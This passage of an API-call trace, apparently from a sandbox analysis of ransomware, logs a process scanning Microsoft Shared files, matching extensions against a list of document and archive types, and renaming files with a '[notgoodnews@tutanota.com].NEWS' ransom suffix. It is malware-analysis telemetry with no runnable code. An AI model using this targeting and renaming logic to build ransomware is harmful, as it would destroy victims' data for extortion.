files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0225.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.734] lstrlenW (lpString=".doc") returned 4 [0225.734] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.734] lstrlenW (lpString=".docx") returned 5 [0225.734] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0225.735] lstrlenW (lpString=".pdf") returned 4 [0225.735] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.735] lstrlenW (lpString=".xls") returned 4 [0225.735] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.735] lstrlenW (lpString=".xlsx") returned 5 [0225.735] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0225.735] lstrlenW (lpString=".ppt") returned 4 [0225.735] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.735] lstrlenW (lpString=".zip") returned 4 [0225.735] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.735] lstrlenW (lpString=".rar") returned 4 [0225.735] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.736] lstrlenW (lpString=".bz2") returned 4 [0225.736] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.736] lstrlenW (lpString=".7z") returned 3 [0225.736] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.736] lstrlenW (lpString=".dbf") returned 4 [0225.736] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.736] lstrlenW (lpString=".1cd") returned 4 [0225.736] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.736] lstrlenW (lpString=".jpg") returned 4 [0225.737] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.737] lstrlenW (lpString=".doc") returned 4 [0225.737] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.737] lstrlenW (lpString=".docx") returned 5 [0225.737] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0225.737] lstrlenW (lpString=".pdf") returned 4 [0225.737] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.737] lstrlenW (lpString=".xls") returned 4 [0225.737] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.738] lstrlenW (lpString=".xlsx") returned 5 [0225.738] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0225.738] lstrlenW (lpString=".ppt") returned 4 [0225.738] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.738] lstrlenW (lpString=".zip") returned 4 [0225.738] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.738] lstrlenW (lpString=".rar") returned 4 [0225.738] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.738] lstrlenW (lpString=".bz2") returned 4 [0225.738] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.738] lstrlenW (lpString=".7z") returned 3 [0225.738] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.739] lstrlenW (lpString=".dbf") returned 4 [0225.739] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.739] lstrlenW (lpString=".1cd") returned 4 [0225.739] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0225.739] lstrlenW (lpString=".jpg") returned 4 [0225.739] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.740] lstrcmpiW (lpString1=".ITS", lpString2=".NEWS") returned -1 [0225.740] lstrlenW (lpString="MSB1ESEN.ITS") returned 12 [0225.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.753] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=1046514) returned 1 [0225.753] CloseHandle (hObject=0x398) returned 1 [0225.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0225.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.754] lstrlenW (lpString=".doc") returned 4 [0225.754] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.754] lstrlenW (lpString=".docx") returned 5 [0225.754] lstrcmpiW (lpString1=".docx", lpString2="N.ITS") returned -1 [0225.754] lstrlenW (lpString=".pdf") returned 4 [0225.754] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.754] lstrlenW (lpString=".xls") returned 4 [0225.754] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.754] lstrlenW (lpString=".xlsx") returned 5 [0225.755] lstrcmpiW (lpString1=".xlsx", lpString2="N.ITS") returned -1 [0225.755] lstrlenW (lpString=".ppt") returned 4 [0225.755] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.755] lstrlenW (lpString=".zip") returned 4 [0225.755] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.755] lstrlenW (lpString=".rar") returned 4 [0225.755] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.755] lstrlenW (lpString=".bz2") returned 4 [0225.755] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.755] lstrlenW (lpString=".7z") returned 3 [0225.755] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.756] lstrlenW (lpString=".dbf") returned 4 [0225.756] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.757] lstrlenW (lpString=".1cd") returned 4 [0225.757] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.757] lstrlenW (lpString=".jpg") returned 4 [0225.757] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.757] lstrlenW (lpString=".doc") returned 4 [0225.757] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.757] lstrlenW (lpString=".docx") returned 5 [0225.757] lstrcmpiW (lpString1=".docx", lpString2="N.ITS") returned -1 [0225.757] lstrlenW (lpString=".pdf") returned 4 [0225.758] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.758] lstrlenW (lpString=".xls") returned 4 [0225.758] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.758] lstrlenW (lpString=".xlsx") returned 5 [0225.758] lstrcmpiW (lpString1=".xlsx", lpString2="N.ITS") returned -1 [0225.758] lstrlenW (lpString=".ppt") returned 4 [0225.758] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.758] lstrlenW (lpString=".zip") returned 4 [0225.758] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.758] lstrlenW (lpString=".rar") returned 4 [0225.759] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.759] lstrlenW (lpString=".bz2") returned 4 [0225.759] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.759] lstrlenW (lpString=".7z") returned 3 [0225.759] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.759] lstrlenW (lpString=".dbf") returned 4 [0225.759] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.759] lstrlenW (lpString=".1cd") returned 4 [0225.759] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0225.760] lstrlenW (lpString=".jpg") returned 4 [0225.760] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.760] lstrcmpiW (lpString1=".LEX", lpString2=".NEWS") returned -1 [0225.760] lstrlenW (lpString="WT61ES.LEX") returned 10 [0225.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0225.789] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=678912) returned 1 [0225.790] CloseHandle (hObject=0x324) returned 1 [0225.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0225.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.819] lstrlenW (lpString=".doc") returned 4 [0225.819] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0225.819] lstrlenW (lpString=".docx") returned 5 [0225.819] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0225.820] lstrlenW (lpString=".pdf") returned 4 [0225.820] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0225.820] lstrlenW (lpString=".xls") returned 4 [0225.820] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0225.820] lstrlenW (lpString=".xlsx") returned 5 [0225.820] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0225.820] lstrlenW (lpString=".ppt") returned 4 [0225.820] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0225.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.820] lstrlenW (lpString=".zip") returned 4 [0225.820] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0225.821] lstrlenW (lpString=".rar") returned 4 [0225.821] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0225.821] lstrlenW (lpString=".bz2") returned 4 [0225.821] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0225.821] lstrlenW (lpString=".7z") returned 3 [0225.821] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0225.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.821] lstrlenW (lpString=".dbf") returned 4 [0225.821] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0225.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.821] lstrlenW (lpString=".1cd") returned 4 [0225.822] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0225.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.822] lstrlenW (lpString=".jpg") returned 4 [0225.822] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0225.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.822] lstrlenW (lpString=".doc") returned 4 [0225.822] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0225.822] lstrlenW (lpString=".docx") returned 5 [0225.822] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0225.822] lstrlenW (lpString=".pdf") returned 4 [0225.823] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0225.823] lstrlenW (lpString=".xls") returned 4 [0225.823] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0225.823] lstrlenW (lpString=".xlsx") returned 5 [0225.823] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0225.823] lstrlenW (lpString=".ppt") returned 4 [0225.823] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0225.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.823] lstrlenW (lpString=".zip") returned 4 [0225.823] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0225.823] lstrlenW (lpString=".rar") returned 4 [0225.823] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0225.823] lstrlenW (lpString=".bz2") returned 4 [0225.823] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0225.824] lstrlenW (lpString=".7z") returned 3 [0225.824] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0225.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.824] lstrlenW (lpString=".dbf") returned 4 [0225.824] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0225.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.824] lstrlenW (lpString=".1cd") returned 4 [0225.824] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0225.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 71 [0225.824] lstrlenW (lpString=".jpg") returned 4 [0225.824] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0225.825] lstrcmpiW (lpString1=".LEX", lpString2=".NEWS") returned -1 [0225.825] lstrlenW (lpString="MSB1AR.LEX") returned 10 [0225.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0225.827] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=2120459) returned 1 [0225.828] CloseHandle (hObject=0x324) returned 1 [0225.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0x20 [0225.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0225.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.829] lstrlenW (lpString=".doc") returned 4 [0225.829] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0225.829] lstrlenW (lpString=".docx") returned 5 [0225.829] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0225.829] lstrlenW (lpString=".pdf") returned 4 [0225.829] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0225.829] lstrlenW (lpString=".xls") returned 4 [0225.829] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0225.829] lstrlenW (lpString=".xlsx") returned 5 [0225.829] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0225.829] lstrlenW (lpString=".ppt") returned 4 [0225.830] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0225.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.830] lstrlenW (lpString=".zip") returned 4 [0225.830] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0225.830] lstrlenW (lpString=".rar") returned 4 [0225.830] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0225.830] lstrlenW (lpString=".bz2") returned 4 [0225.830] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0225.830] lstrlenW (lpString=".7z") returned 3 [0225.830] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0225.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.831] lstrlenW (lpString=".dbf") returned 4 [0225.831] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0225.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.831] lstrlenW (lpString=".1cd") returned 4 [0225.831] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0225.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.831] lstrlenW (lpString=".jpg") returned 4 [0225.831] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0225.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.832] lstrlenW (lpString=".doc") returned 4 [0225.832] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0225.832] lstrlenW (lpString=".docx") returned 5 [0225.832] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0225.832] lstrlenW (lpString=".pdf") returned 4 [0225.832] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0225.832] lstrlenW (lpString=".xls") returned 4 [0225.832] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0225.832] lstrlenW (lpString=".xlsx") returned 5 [0225.832] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0225.832] lstrlenW (lpString=".ppt") returned 4 [0225.832] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0225.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.833] lstrlenW (lpString=".zip") returned 4 [0225.833] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0225.833] lstrlenW (lpString=".rar") returned 4 [0225.833] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0225.833] lstrlenW (lpString=".bz2") returned 4 [0225.833] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0225.833] lstrlenW (lpString=".7z") returned 3 [0225.833] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0225.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0225.833] lstrlenW (lpString=".dbf") returned 4 [0225.833] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0226.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0226.000] lstrlenW (lpString=".1cd") returned 4 [0226.001] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0226.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0226.001] lstrlenW (lpString=".jpg") returned 4 [0226.001] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0226.001] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0226.002] lstrlenW (lpString="VSTOLoader.dll") returned 14 [0226.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.079] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=387408) returned 1 [0226.079] CloseHandle (hObject=0x388) returned 1 [0226.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0226.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.080] lstrlenW (lpString=".doc") returned 4 [0226.080] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0226.080] lstrlenW (lpString=".docx") returned 5 [0226.081] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0226.081] lstrlenW (lpString=".pdf") returned 4 [0226.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0226.081] lstrlenW (lpString=".xls") returned 4 [0226.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0226.081] lstrlenW (lpString=".xlsx") returned 5 [0226.081] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0226.081] lstrlenW (lpString=".ppt") returned 4 [0226.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0226.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 